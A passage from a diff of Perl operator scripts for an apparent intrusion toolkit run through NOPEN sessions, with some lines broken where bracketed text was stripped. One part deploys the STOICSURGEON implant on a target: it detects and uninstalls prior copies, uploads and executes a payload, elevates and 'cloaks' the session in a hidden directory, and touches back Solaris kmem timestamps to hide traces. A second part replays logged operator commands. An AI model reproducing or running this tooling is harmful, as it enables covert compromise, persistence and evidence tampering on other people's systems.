effect\n". + "of this install, destroying any contents in that hidden directory."); + } + if ($alreadyinstalled) { + if (!$hiddendir) { + my $usedto = "$COLOR_FAILURE (AND YOU USED TO!)" + if $priorhiddendir; + offerabort("This is odd. The above -E and -C Ctrl commands returned no error, (meaning\n". + "they worked) yet you do not have a hidden directory visible$usedto."); + } elsif (!$priorhiddendir) { + offerabort("OK, so it looks as if you were NOT priveleged until just now.\n". + "You should see the above -ls PRIOR to elevation (-E/-C) did NOT show\n". + "the hidden directory, and the one after does.\n\n". + "You can abort now (and figure things out) or\n". + "(if maybe you expected this) continue with the install. If you continue,\n". + "you will have options about what to do with the new install."); + } elsif ($priorhiddendir ne $hiddendir) { + gethiddendir(force,recurse); + offerabort("${COLOR_FAILURE}This is VERY odd$COLOR_NORMAL. You had two different hidden directories, before and after\n". + "the above -E/-C elevation. The above -E and -C Ctrl commands returned no error,\n". + "so they seemed to work, yet your hidden directory is now different???\n\n". + "See above recursive -ls of all possible hidden directories if that helps."); + } + # Other case, where $hiddendir AND priorhiddendir is fine unless they are not the same + } + my $dowhat = ""; + + #mydie("output=$output= alreadyinstalled=$alreadyinstalled="); + if ($alreadyinstalled) { + my ($prompt,$default) = + ("It seems STOICSURGEON is already there (\"-ctrl -EC\" above WORKED).\n\n". + "You have four options (you may answer just the first letter):\n\n". + " DEINSTALL: Use -ctrl -U to completely DEINSTALL previous STOIC.\n". + " This will wipe all content in the hidden dir also.\n". + " UNPATCH : Use -ctrl -n to invoke a partial uninstall (unpatch \n". + " and unload). This removes the software, leaving the hidden\n". + " directory to be re-used by the install to follow.\n". + " CONTINUE : Continue with the install without ANY uninstall of the previous\n". + " STOIC. The old stoic should detect the new one being installed\n". + " and self-destruct before allowing the new one to be installed.\n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "It is recommended that you DEINSTALL the previous copy first, your default\n". + "option. If proceeding with any install option, $prog will first preserve\n". + "this NOPEN window and any non-init parent pid from being killed by the\n". + "uninstall (using -ctrl -k).\n". + "\n". + "Your choices are DEINSTALL, UNPATCH, CONTINUE and ABORT. Choose:", + "DEINSTALL" + ); + ($prompt,$default) = + ("Confirmed previous installation of STOICSURGEON is still active.\n". + "Last chance to bail before DEINSTALL proceeds.". + "\n\nontinue or bort.","CONTINUE" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + my $elevateerr = ""; + if ($ans eq "a") { + rmctrl(force); + mymydie("User aborted"); + } + ($ans,$myans) = ("d","DEINSTALL") if $deinstallonly; +# dbg("myans=$myans"); + # TODO: If -ctrl fails, upload and use + # /current/install.##/up/Stoicsurgeon-Ctrl instead + stoicctrl("-Azk$workdiropt",$dopause,@savepids); + my $preuninstallhiddendir = $hiddendir; + mydie("-ctrk -k @savepids : FAILED") + if (@errs); +dbg("Before errs=(@errs) nonerrs=(@nonerrs)"); + if ($ans eq "d" or $ans eq "u") { + $dowhat = "DEINSTALL"; + if ($ans eq "d") { + # TODO: stoicctrl would default to a $workdir of the hiddendir, so if + # we did NOT have a $workdir before, we need it to be /tmp now, + # in which case we have to rmctrl. + stoicctrl("-AU$workdiropt",$dopause); +dbg("errs=(@errs) nonerrs=(@nonerrs) + +completeoutput=(\n".join("\n",@completeoutput)."\n) + +"); + } elsif ($ans eq "u") { + $dowhat = "UNPATCH"; + stoicctrl("-An$workdiropt",$dopause); + } +dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); + if (@errs) { + offerabort("$dowhat appeared to fail."); + } +# ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + # We just uninstalled, this is expected to fail + stoicctrl("-zE$workdiropt",$dopause,$targetpid); + $elevateerr = @errs; +# dbg("After -E $targetpid: +#errs=(@errs) +#completeoutput=(@completeoutput) +#elevateerr=$elevateerr= +#"); + $hiddenstr .= " hidden_dir=$hiddendir"; + ($output,$nopenlines,@output) + = doit("-ls $safehiddendir"); +# dbg("second time hiddendir=$hiddendir safehiddendir=$safehiddendir"); + my ($stillinstalled) = grep m,$preuninstallhiddendir, , @output; + unless ($elevateerr and !$stillinstalled) { + offerabort + ($COLOR_FAILURE. + "$dowhat appeared to fail" + #." yo elevateerr=$elevateerr= stillinstalled=$stillinstalled=" + ); + } else { + if ($deinstallonly) { + mydie("$dowhat appears successful. You are now UNCLOAKED/exposed."); + } + offerabort + ("$dowhat appeared successful.\n". + "About to upload and execute $datefile. Last chance to bail."); + } + } + } else { + mymydie("STOICSURGEON does not appear to be there") + if $deinstallonly; + } + } + rmctrl(force) unless $skipctrl; + ($output,$nopenlines,@output) + = doit("-put $datefile $workdir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $workdir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $workdir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $workdir") unless $targetcwd eq $workdir; + if ($dotpath) { + ($output,$nopenlines,@output) + = doit("PATH=.:\$PATH $remotename$domore"); + } else { + ($output,$nopenlines,@output) + = doit("PATH=. $remotename$domore"); +# ($output,$nopenlines,@output) +# = doit("$remotename$domore"); + } + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $workdir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#dbg("Checking success with my (\$errcode,\$errstring) = \$output =~ / \d\d:\d\d:(\d\d)/; + +#output=$output= + +#output=(@output) + +#($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#"); + unless ($errcode eq "00") { + $success = "FAILED"; + + + + + my $stoicfile = "$opetc/user.tool.stoicsurgeon.COMMON"; + $stoicfile = "$opetc/user.tool.stoicsurgeon" + unless -e $stoicfile; + my %errstrings=(); + if (-e $stoicfile and open(STOIC,$stoicfile)) { + # This assumes TWO LINE entries in user.tool.stoicsurgeon.COMMON + # for all error codes, with a format matching + my @stoiclines = ; + close(STOIC); + my $lineone = ""; + while (@stoiclines) { + my $line = shift @stoiclines; + next unless ($line =~ /^[ \#]+([0-9]+)/); + my $num =int($1); + $line =~ s/^[ \#\s]*//; + if ($stoiclines[0] =~ /^\#\#\s*([A-Z].*)/) { + chomp($line); + $line .= shift(@stoiclines); + $line =~ s/\#*[ \t]+/ /g; + $line =~ s/\s+$//g; + $line =~ s/[ \t]+/ /g; + } + $errstrings{$num} = "\nTool Comments: FAILED: ERROR CODE $line"; +# $errstrings{$num} .= "Tool Comments:".; +# $errstrings{$num} =~ s/\#*[ \t]+/ /g; +# $errstrings{$num} =~ s/\s+$//g; +# $errstrings{$num} =~ s/[ \t]+/ /g; + dbg("Just set \$errstrings{$num}=$errstrings{$num}="); + } + last if (%errstrings and /^\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#/); + } + + if ($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype eq "install"); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($installtype eq "remove"); + $stoicinstall++ if $tools[$i] =~ /stoicsurgeon/i; + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring$hiddenstr", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $workdir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($stoicinstall) { + my ($elevatesuccess,$prompt,$more)=(); + if ($success =~ /^successful/i) { + my $solarismore = ""; + if ($solaristarget and $host_touchkmem) { + my ($output) = doit("-ls -n /devices/pseudo/mm\@0:kmem"); + $output =~ s,\s+, ,g; + my ($touchedback) = doit("$host_touchkmem /devices/pseudo/mm\@0:kmem") + unless ($output =~ /^$host_touchkmem/); + $solarismore = ", and the times for\n". + "/devices/pseudo/mm\@0:kmem have been manually touched back" + if ($touchedback); + } + if ($skipctrl) { + mygetinput + ("Install appears successful$solarismore!\n\n". + "You chose to SKIP all use of Ctrl, so this window has$COLOR_FAILURE NO WAY$COLOR_NORMAL\n". + "to elevate. If you trigger on in another window, it will be elevated. You should$COLOR_FAILURE\n". + "BE VERY CAREFUL$COLOR_NORMAL in this and any unelevated windows to NOT access the hidden\n". + "directory. If you do, STOIC will self-destruct.\n\n". + "Press Enter to continue." + ); + } else { + $prompt = "Install appears successful$solarismore!\n\n". + "You could try to elevate/cloak now, but the new default is not to.\n". + "Instead, a fresh trigger test will get both an elevated window and\n". + "test a trigger for you. Use THIS window, unelevated, for your \n". + "confirmation tests that the install behaves as expected.\n\n". + "Do you want to try to elevate/cloak now?"; + my ($ans) = mygetinput($prompt,"N"); + $elevatesuccess=1; + # On success, we set this new $ctrlfile as the right one for + # this box for remainder of op. + mystoicctrl(noprompt,$ctrlfile); + if ($ans =~ /^y/i) { + # dbg("PRIOR: errs=(@errs)"); + my $wdir = $workdiropt; + if (!$wdir or + $wdir =~ m,$priorhiddendir, or + ($hiddendir and $wdir =~ m,$hiddendir,) + ) { + # use a workdir of ./ it must be where the install just succeeded. + $wdir = "w."; + } + stoicctrl("-zEC$wdir",$dopause); + dbg("After stoicctrl(-zEC$workdiropt,$dopause); +#errs=(@errs) nonerrs=(@nonerrs) +#completeoutput=(@completeoutput) +#"); + if (@errs) { + mygetinput("PROBLEM HERE: That seemed to fail? Deal with it."); + $elevatesuccess--; + } + unless (!$dowhat or $newhiddendir eq $hiddendir) { + mywarn("NOTE: New hidden directory is different:\n". + " WAS: $hiddendir\n". + " NOW: $newhiddendir"); + ($hiddendir,$safehiddendir) = ($newhiddendir,$newsafehiddendir); + } + } else { + ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + $elevatesuccess=0; + mygetinput($COLOR_FAILURE."\n\n". + "This window is NOT ELEVATED.\n\n". + "Use either a fresh trigger window (preferred) or -ctrl -CE\n". + "to get an elevated window and compare it to this one:\n\n". + " =ps\n". + " =nsg ESTAB\n". + " -ctrl -LR\n". + "\nHit Enter to continue..."); + } + } + my $moresuccess=""; + if ($elevatesuccess > 0) { + $moresuccess = "\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "You (and parent, if any) should be fully priveleged/hidden."; + } +# dbg("success=$success="); + } + if ($success eq "FAILED") { + $output = "$COLOR_WARNING\nFAILED!$COLOR_FAILURE\nFAILED!$COLOR_WARNING\n". + "FAILED!$COLOR_FAILURE\nFAILED!\n\n". + "Install FAILED:\n". + $installedtools; + } else { + $output = "$moresuccess\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "Install complete:\n". + $installedtools; + } + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($installdir) as: $success"; + } +# progprint($output); + rmctrl(force) unless $skipctrl; + return $output; +}#end sub handle + +sub mymydie { + rmctrl(force) unless $skipctrl; + mydie(@_); +} + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=<\n", + "\n\n", + # header(), + ) ; +print ALLHTMLOUT ($qall->start_pre()) ; +foreach $host (@hosts) { + my $legend = $color{$host}; + $legend =~ s/[\<\>]//g ; + my $output = "\n". markit("$host"); + $output .= " ".linkit("($legend) Click here for first entry from this host

$endcolor",1); + print ALLHTMLOUT $color{$host},$output; +} +print ALLHTMLOUT $qall->hr ; +print ALLHTMLOUT "Click on the \"<<\" or \">>\" in the -gs replay lines to go to that host's previous or next entry."; +print ALLHTMLOUT $qall->hr ; +@alltimes = sort @alltimes ; +foreach $time (@alltimes) { + working(); + foreach $host (@hosts) { + if ($showcommands) { + next unless ($allcommands{$host}{$time}); + unless ($onceper{$host}++) { + working(); + my $exactly = " exactly" if $exactmatch ; + my $dupestoo = " (with duplicates)" unless $uniqueonly ; + my $matching = "$exactly matching \"$findcommand\"" if $findcommand ; + printall("\n\n==================\nCommands$dupestoo from $host$matching\n==================\n"); + } + printall($alltimes{$host}{$time}) if $showtimes ; + printall($allcommands{$host}{$time}); + } else { + my (@gotfiles,$lastfileout,$filelist,$rest,$gotfile,$glob) = () ; + next unless ($lineoutput{$host}{$time}); + working() + unless ($onceper{$host}++) ; + ($gotone, my $rest) = $lineoutput{$host}{$time} =~ /^\[.*\]\[.* -[\.\>\-] .*\]\n\[(.*)\]\n(.*)/ ; + if (($filelist) = $gotone =~ /^-[of]{0,1}get\s+(.*)/) { + $filelist while ($filelist =~ s/^-v // or + $filelist =~ s/^-l // or + $filelist =~ s/^-s\s*\d+ // or + $filelist =~ s/^-m\s*\d+-\d+-\d+ // or + $filelist =~ s/^-q // + ) ; + $glob = ".*" if + $filelist =~ s/\*//g ; + @gotfiles = split (/\s+/,$filelist); + } + # next unless ((split(/\n/,$lineoutput{$host}{$time}))[0] =~ /$host/); + # Label first output from this file accordingly + # No new label until file name changes + printall("$fileoutput{$host}{$time}",1);# unless +# ($lastfileout and $lastfileout eq $fileoutput{$host}{$time}); + printall("$lineoutput{$host}{$time}",$glob,@gotfiles) ; +# $lastfileout = $fileoutput{$host}{$time}; + } + } +} +if ($houtfile) { + print HOUTF $endcolor if $lastfcolor ; + print HOUTF ($qfall->end_pre()) ; + print HOUTF ($qfall->end_html()),"\n" ; + close(HOUTF); + forkandbrowse($houtfile); +} +print ALLHTMLOUT $endcolor if $lastallcolor ; +print ALLHTMLOUT ($qall->end_pre()) ; +print ALLHTMLOUT ($qall->end_html()),"\n" ; +close(ALLHTMLOUT); +close(ALLOUT); + +$xtermoffset = 0 ; +$browsoffset = 0 ; +open(ALLHTMLOUT,"< $htmldir/replay.all.$allwholeop$nopen_mypid.html") || + mydie("Cannot open HTML output file $htmldir/replay.all.$allwholeop$nopen_mypid.html"); +open(ALLHTMLOUTNEW,"> $htmldir/replay.all.$allwholeop$nopen_mypid.html.new") || + mydie("Cannot open HTML output file $htmldir/replay.all.$allwholeop$nopen_mypid.html.new"); +foreach $host (@hosts) { + $link{$host} = sprintf("%08d",$link{$host}+1);# this is for later +} +# Fix final link for each host to point back to top +while () { + my $changed = 0 ; + foreach $host (@hosts) { + if (/\#$host-$link{$host}/) { + working() if $someoutput; + $changed++; + my $newlink = "#TOP\""; +# $newlink .= " " while (length($newlink) < length("\#$host-$link{$host}")) ; + s/\#$host-$link{$host}\"/$newlink/ ; + print ALLHTMLOUTNEW ; + last ; + } + }#foreach $host + print ALLHTMLOUTNEW unless $changed; +}#while () +close(ALLHTMLOUT); +close(ALLHTMLOUTNEW); +rename("$htmldir/replay.all.$allwholeop$nopen_mypid.html.new","$htmldir/replay.all.$allwholeop$nopen_mypid.html"); +my $sleepsome=1; +my $browsedsome=0; +foreach $host (@hosts) { + working() if $someoutput; + close($out{$host}) ; + select $htmlout{$host}; + print $endcolor if $lasthostcolor{$host} ; + print ($q{$host}->end_pre()) ; + print ($q{$host}->end_html()),"\n" ; + close($htmlout{$host}); + #dump any output to xterm + # Child pops up xterm, parent exits so noclient prompt comes back + close(IN) ; + if (-s "$htmldir/replay.$wholeop$host.$nopen_mypid" and ($dobrowser or $doxterm)) { + $xtermoffset += 35 ; # stagger the xterms a bit + unless (fork) { + close(STDOUT) ; + close(STDIN) ; + close(STDERR) ; + unless ($nopen_rhostname) { + $nopenname = "$host" ; +# $prog = "autoreplay" ; + } else { + $nopenname = $nopen_rhostname; + } + $xargs = "-title \"$prog.$nopenname: $findcommand\" -bg $bg -fg white -geometry 96x49-0+$xtermoffset" ; + exec("$xterm $xargs $hold -e $cat $htmldir/replay.$wholeop$host.$nopen_mypid") + unless (!$doxterm); +# unless (!$doxterm or fork()); + sleep 3; +# unlink("$htmldir/replay.$wholeop$host.$nopen_mypid"); +# unlink("$htmldir/replay.$wholeop$host.$nopen_mypid.html"); + exit ; + }#unless fork() + # pop up browser with HTML output if we need to + forkandbrowse("$htmldir/replay.$wholeop$host.$nopen_mypid.html"); + if ($sleepsome and @hosts > 1) { + $sleepsome=0; + if ($browser =~ /mozilla/) { + my $count=15; + while ($count and ! `ps -ef | grep mozilla`) { + $count--; + sleep 1; + } + } + }# Sleep extra if mozilla and first not popped up + sleep 1; + } else { +# unlink("$htmldir/replay.$wholeop$host.$nopen_mypid"); +# unlink("$htmldir/replay.$wholeop$host.$nopen_mypid.html"); + } +} +if (@hosts > 1 and $someoutput) { + if ($showcommands) { + # Redo these files host by host, not intermixed + open(ALLOUT,"> $htmldir/replay.all.$allwholeop$nopen_mypid") || + mydie("Cannot open output file $htmldir/replay.all.$allwholeop$nopen_mypid"); + open(ALLHTMLOUT,"> $htmldir/replay.all.$allwholeop$nopen_mypid.html") || + mydie("Cannot open HTML output file $htmldir/replay.all.$allwholeop$nopen_mypid.html"); + $qall = new CGI; + print ALLHTMLOUT ( #$qall->header, + $qall->start_html(-title=>"$prog ALL hosts combined: $findcommand", + -bgcolor=>"silver"), + "", + # header(), + ) ; + print ALLHTMLOUT ($qall->start_pre()) ; + foreach $host (@hosts) { + my $legend = $color{$host}; + $legend =~ s/[\<\>]//g ; + print ALLHTMLOUT $color{$host},"$host ($legend)

$endcolor"; + print ALLOUT "$host \n"; + }#foreach $host + print ALLHTMLOUT $qall->hr ; + foreach $host (@hosts) { + unless (open(IN,"$htmldir/replay.$wholeop$host.$nopen_mypid.html")) { + mywarn("Cannot open $htmldir/replay.$wholeop$host.$nopen_mypid.html for reading..skipping"); + next; + } + my $headdone = 0 ; + my $htmldone = 0 ; + while () { + next unless ($headdone or /\<\/head\>/); + $headdone++ ; + s/.*\<\/head\>// ; + if (/\<\/html\>/) { + s/\<\/html\>.*// ; + $htmldone++; + } + print ALLHTMLOUT ; + last if $htmldone ; + } + close(IN); + unless (open(IN,"$htmldir/replay.$wholeop$host.$nopen_mypid")) { + mywarn("Cannot open $htmldir/replay.$wholeop$host.$nopen_mypid for reading..skipping"); + next; + } + while () { + print ALLOUT ; + } + close(IN); + }#foreach $host + print ALLHTMLOUT $endcolor if $lastallcolor ; + print ALLHTMLOUT ($qall->end_pre()) ; + print ALLHTMLOUT ($qall->end_html()),"\n" ; + close(ALLHTMLOUT); + close(ALLOUT); + }#if $showcommands + working() if $someoutput; + forkandbrowse("$htmldir/replay.all.$allwholeop$nopen_mypid.html",1); + if ($doxterm) { + $xtermoffset += 35 ; # stagger the xterms a bit + my $xargs = "-title \"$prog ALL hosts combined: $findcommand\" -bg $bg -fg white -geometry 96x49-0+$xtermoffset" ; + exec("$xterm $xargs $hold -e $cat $htmldir/replay.all.$allwholeop$nopen_mypid") + unless fork(); + }#if $doxterm +}#if (@hosts > 1) +myprint("\r \nDone.\a") if $someoutput; +exit; + + +## END MAIN LOGIC + + +## SUBROUTINES +sub mydie { + myprint("\a${COLOR_FAILURE}@_") if ($nopen_mypid) ; + sleep 1 ; + die("\a${COLOR_FAILURE}@_${COLOR_NORMAL}\n") ; +}#mydie + +sub mywarn { + ($str,$color,$beep) = (@_) ; + unless ($color) { + $beep = "\a" ; + $color = $COLOR_FAILURE ; + } + $beep = "\a" if $beep ; + warn "${color}${beep}$str$COLOR_NORMAL\n" ; +}#mywarn + +sub myprint { + my $nl = "\n"; + $nl = "" if $_[1] ; + print STDERR "$_[0]$COLOR_NORMAL$nl"; +}#myprint + +sub whattime { + # returns approx (all months= 31 days) age in minutes since 1/1/2000 + local ($time) = (@_) ; + #Global %uniquetimes ; # ensures every line has unique numerical time + my $returntime = -1 ; + if (my ($mon,$mday,$yr,$hrs,$mins,$secs) = $time =~ /(\d+)\-(\d+)\-(\d+) (\d+):(\d+):(\d+)/) { + $yr += 2000 ; # FYI, this is not Y3K compliant... + $returntime = ($yr*365.25*24*60 + + $mon*31*24*60 + + $mday*24*60 + + $hrs*60 + $mins + + ($secs / 60)); + $returntime += 0.0000001 while ($uniquetimes{$returntime}) ; + $uniquetimes{$returntime}++; + } + return $returntime; +}#whattime + +sub myinit { +# use CGI qw/:standard/; + use CGI ; + use Cwd; + require "getopts.pl"; + use File::Copy ; + if ($willautoport and $socket) { + progprint("$prog called -gs autoreplay @ARGV : WHO IS DOING THAT\@\&! "); + $calledviarequire = 1; + } else { + $willautoport=0; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; +dbg("Just required $autoutils name=$nopen_rhostname= log=$nopen_mylog="); +dbg("it exists") if ( -e $nopen_mylog); + $prog = "-gs replay"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog); + #and -e $nopen_mylog); + } + $nopen_mypid = $$ unless $nopen_mypid ; + $gsoptions = $ENV{GSOPTIONS} ; + unless (defined ($COLOR_FAILURE)) { + $COLOR_SUCCESS="\033[1;32m"; + # note: $COLOR_FAILURE is OK to use in myprint--it's different red than red background + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTEBAD="\033[0;34m"; + $COLOR_NOTE="\033[1;95m"; + $COLOR_NOTE="\033[7;40m"; + $COLOR_NOTE="\033[1;97m"; + } + @browsercolors = ( + "", + "", + "", + "", + "", + "", + "", + "", + "", + "", + "", # last is first used + ); + @prog = ("/","-","\\","|","/","-","\\","|") ; + @browsercolorssave = @browsercolors ; + $endcolor = ""; + $prog = "autoreplay" ; + $htmldir = $opdir ; + usage("bad option(s)") if (! Getopts( "f:vhxd:Xt:aoUTAHRib:S:" ) ) ; + # opt_d: $cmdoutdir + $maxsize = 0; + if ($opt_S) { + mydie("-S $opt_S must be a positive integer") + unless ($opt_S =~ /^\d+$/ and $opt_S > 0); + $maxsize = $opt_S; + } + $cmdoutdir = "$opdown/cmdout" unless $cmdoutdir; + $cmdoutdir = "." unless (-d $cmdoutdir) ; + $cmdoutdir = $opt_d if ($opt_d and -d $opt_d) ; + if (-d $cmdoutdir and -w _) { + chdir($cmdoutdir); + $cmdoutdir = getcwd(); + $htmldir = "$cmdoutdir/html" ; + } + $caseinsensitive = $opt_i ; + $resultsmatch = $opt_R ; + $targetfile = $opt_t ; + if ($opt_A) { + $allwholeop = "wholeop." unless $targetfile; + if ($calledfromnopen) { + $nopen_rhostname = "" ; # simulates command line + } else { +# $showalloutputtoo = $opt_A; +# $opt_o++ unless ($opt_f) ; # force stdout unless sending to file + $opt_X=0 ; # force no xterm + $opt_U++ ; # force showing duplicate commands + } + } + $stdoutalso = $opt_o ; + $exactmatch = $opt_x ; + mydie("-x makes no sense with -R") if ($opt_x and $opt_R); + mydie("Cannot use -A and -a together in command line mode") if ($opt_A and $opt_a and !$calledfromnopen) ; + $showall = $opt_a or $opt_A ; + $showcommands = $opt_a ; + mydie("Cannot use -U without -a") if (!$opt_A and $opt_U and !$opt_a) ; + $showtimes = ($showcommands and !$opt_T) ; + $uniqueonly = !$opt_U ; + $nopen_rhostname = "" if $targetfile ; + if ($opt_f) { + if (open(OUTF,">> $opt_f")) { + $outfile = $opt_f ; + } + if (open(HOUTF,"> $opt_f.html")) { + $houtfile = "$opt_f.html" ; + $qfall = new CGI; + print HOUTF (#$qfall->header, + $qfall->start_html(-title=>"$prog $houtfile: $findcommand", + -bgcolor=>"silver"), + "", + # header(), + ) ; + print HOUTF ($qfall->start_pre()) ; + } + } + mydie("Cannot find browser \"$opt_b\"") + unless (!$opt_b or (-e $opt_b and -r _ and -x _)); + $browser = $opt_b ; + foreach $b ("firefox","mozilla","konqueror") { + last if $browser; + chomp($browser = `which $b 2>/dev/null | egrep -vi "no $b|error"`); + } + unless ($browser) { + $browser = "" ; + mywarn("Unable to find a browser. Trying xterm popups instead."); + } + $dobrowser = (!$opt_H and $browser); + chomp($xterm = `which xterm 2>/dev/null | egrep -vi "no xterm|error"`) ; + $xterm or $xterm = "xterm" ; # hope this works + $bg = "black" ; + $cat = "less" ; + $doxterm = ($opt_X or (!$opt_H and !$browser)); + + $vertext = "$prog version $VER\n" ; + mkdir $htmldir,oct 0770 + unless -e $htmldir; + if ($calledfromnopen) { + $stdoutalso = 0 ; + } else { + $htmldir = "/tmp" if (! -d $htmldir or ! -w _ or + ($htmldir eq "/current" and (! -d $htmldir or (! -w _)))); + $extrausage = "${COLOR_FAILURE} +$prog is the equivalent NOPEN command to run in a noclient window.$COLOR_NORMAL +" ; +# $prog = basename $0 ; + } + chdir($htmldir) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + $prog [options] [commandstring] +$extrausage +OPTIONS + -R Search for the \"commandstring\" in the results of commands, + rather than the commands themselves. + -i Case insensitive match. + -o Send all output to stdout as well as xterms and/or -f file. + (Not usable within a NOPEN client window.) + -a Just show all matching commands (or ALL commands if no + commandstring given), not their output. + -S SIZE Skip commands whose output is more than SIZE kilobytes + -T Do NOT show times with -a output (default does). + -U Use with -a to show duplicate commands--otherwise each is + shown only once. + -x Match commandstring exactly. Useful for very short commands. + -d DIR Look in \"DIR\" for the NOPEN scripts to parse. Default is + /current/down/cmdout, and if that does not exist ./ is used. + -f FILE Save output generated by appending it to FILE (.html file + is clobbered though, not appended). + -t STR Only look in scripts containing \"STR\" in filename (say, a + particular target or timestamp). Useful when autoreplay is + run at command line rather than in a NOPEN window. + -X Also pop up xterm showing output. (Default is html only.) + -H Do not pop up browser showing web formatted output for each + host (only the one for ALL hosts). + -A command line: Show ALL commands and output to stdout only. + from NOPEN: Show matches to ALL NOPEN hosts seen thus far. + -b FILE Use this browser to show the output. Must accept an argument + in the form \"file:///path/to/FILE.html\". + +When run in a noclient window, -gs.replay calls autoreplay, passing the +given options/parameters to that command. + +autoreplay can also be run at a local Unix prompt, taking NOPEN scripts +as input in ./ (or -d dir), which can be quite useful for postop +forensics. E.g., the command \"autoreplay -t host-or-ip .\" will replay +EVERY command executed via NOPEN on host-or-ip. + +autoreplay looks through all NOPEN scripts (or those matching the +argument to -t str if provided) in the directory for instances of +commands containing \"commandstring\" (or whose results contain that +string if -R is used). Unless -a is used, the commands that matched +are shown with their output in a pop-up window. By default, the pop-up +window is a browser showing HTML-ized output. Use -X to get an xterm +window piped to less (see \"man less\"). The output is shown in the order +the commands were executed and with execution timestamps. + +The browser used will be konqueror, or if that is not found, mozilla. But +you can supply a specific browser with the -b command. + + + * When -a is used only the commands are shown, not the output. + + * When using -a, the \"commandstring\" to match is optional, and all + commands are shown when none is given. + + * You get one browser/xterm per matching host when run at the command + line or via NOPEN when -A is used. + + * To search for some characters, you need to escape them with \"\\\\\". + E.g.: \"$prog \\\\-ping\" will find all built-in -ping commands, + but not \"ping\" commands. (The \"-\" needs to be escaped since it is + not a getopts option to $prog but an argument.) + +" ; + $findcommand = "@ARGV" ; + mydie("-R requires a string to match on") if ($resultsmatch and !$findcommand) ; + $findcommand = "." if $showalloutputtoo ; + $findcommand = "." unless $findcommand ; + $wholeop = "wholeop."; + unless ($findcommand eq ".") { + $wholeop = "" ; + $allwholeop = "" ; + } + usage() if ($opt_v or $opt_h or (!$findcommand and !$showcommands)); + if ($exactmatch) { + $globl="^" ; + $globr = "\$" ; + $exact = "" ; + } else { + $exact = " containing" ; + } 